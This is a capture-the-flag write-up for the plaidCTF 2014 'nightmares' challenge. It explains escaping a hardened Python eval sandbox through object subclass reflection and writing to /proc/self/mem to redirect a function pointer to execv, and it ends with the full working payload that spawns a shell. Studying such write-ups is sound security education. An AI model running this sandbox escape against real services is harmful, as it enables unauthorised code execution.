plaidCTF 2014 - __nightmares__ (pwn375)
__nightmares__
Pwning (375 pts)
-------------------
The Plague is building an army of evil hackers, and they are starting
off by teaching them python with this simple service. Maybe if you
could get full access to this system, at 54.196.37.47:9990, you would
be able to find out more about The Plague's evil plans.
This server simply evaluates any Python expression provided - with an attempt at sandboxing it.
The source code of the server is provided:
#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''
from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout
# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread
# No more modules!
for k, v in modules.iteritems():
if v == None: continue
if k == '__main__': continue
v.__dict__.clear()
del k, v
__main__ = modules['__main__']
modules.clear()
del modules
# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__
print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}
This is a nasty sandbox! Not only does it execute the expression with no
useful globals, but it also attempts to disable importing modules, and walks
every existing module and deletes everything from its dictionary. Thus, getting
a reference to the os
module (for e.g. os.execl
) is not useful, since the
os
module is now empty.
However, we can still get a reference to built-in types using good old Python reflection tricks:
{}.__class__.__bases__[0].__subclasses__()
This takes the superclass of dict
(which is object
) and the gets a list of
references to subclass types. There’s lots of interesting stuff here, so we can
do some recon and see what we find:
"\n".join(["%r"%x+"".join([(" %r %r\n"%(y,z))
for y,z in x.__dict__.items()])+"\n"
for x in ().__class__.__bases__[0].__subclasses__()])
That expression will list every member of every subclass of object
. Now, I
attempted to look for something that would usefully let us get a reference to,
say, a pristine os
module (or a way to reload modules), but I couldn’t find
anything. However, there is one good old friend arond - the file
class, which
lets us read and write filesystem files.
The flag isn’t in a file that we can just read (hence the message in the
source), but we can have fun with other files. Most interestingly, we can use
/proc/self/mem
to read and write arbitrary Python process memory. There are
many ways of gaining arbitrary code execution once you have access to process
memory, of course, but one of the simplest things to do is to just redirect
a function pointer in a Python object descriptor table.
I agonized for a while about which function to pick, because I wanted
os.execv
, but that’s a function, while everything I had access to via
__subclasses__
has methods, not functions (which take an extra self
argument in Python land). However, I’d forgotten that even a plain function
takes a self
argument in the C API, so in fact many methods have a compatible
function signature in the C world (the arguments mostly don’t matter in the C
world, because the Python C ABI receives non-self args through a single args
tuple argument that the body then parses and extracts the real arguments from).
I first dumped the python2.7 binary to determine the addresses I needed to poke.
Thankfully, it’s statically linked, so that’s one fewer step to worry about.
ASLR is also not enabled (neither use of libpython nor ASLR would’ve been a
significant deterrent, since you could just dump all the base addresses from
/proc/self/maps
anyway, but it saves time). I was after the address of
posix_execv
(0x525f40
) and the address of the function pointer field of the
readlines
member of the file
class’s descriptor (0x88af88
). With that,
all that’s left to do to get a shell is to put them together using a list
comprehension to be able to operate multiple times on an fd object within
a single Python expresion:
[(fd.seek(0x0088af88),
fd.write("\x40\x5f\x52"),
fd.flush(),
fd.readlines("/bin/sh",["/bin/sh"])) # This becomes os.execv()!
for fd in (().__class__.__bases__[0].__subclasses__()[40]
("/proc/self/mem","w"),) ]
And with a crude shell, all that was left was:
cd /home/nightmares_owner
./give_me_the_flag.exe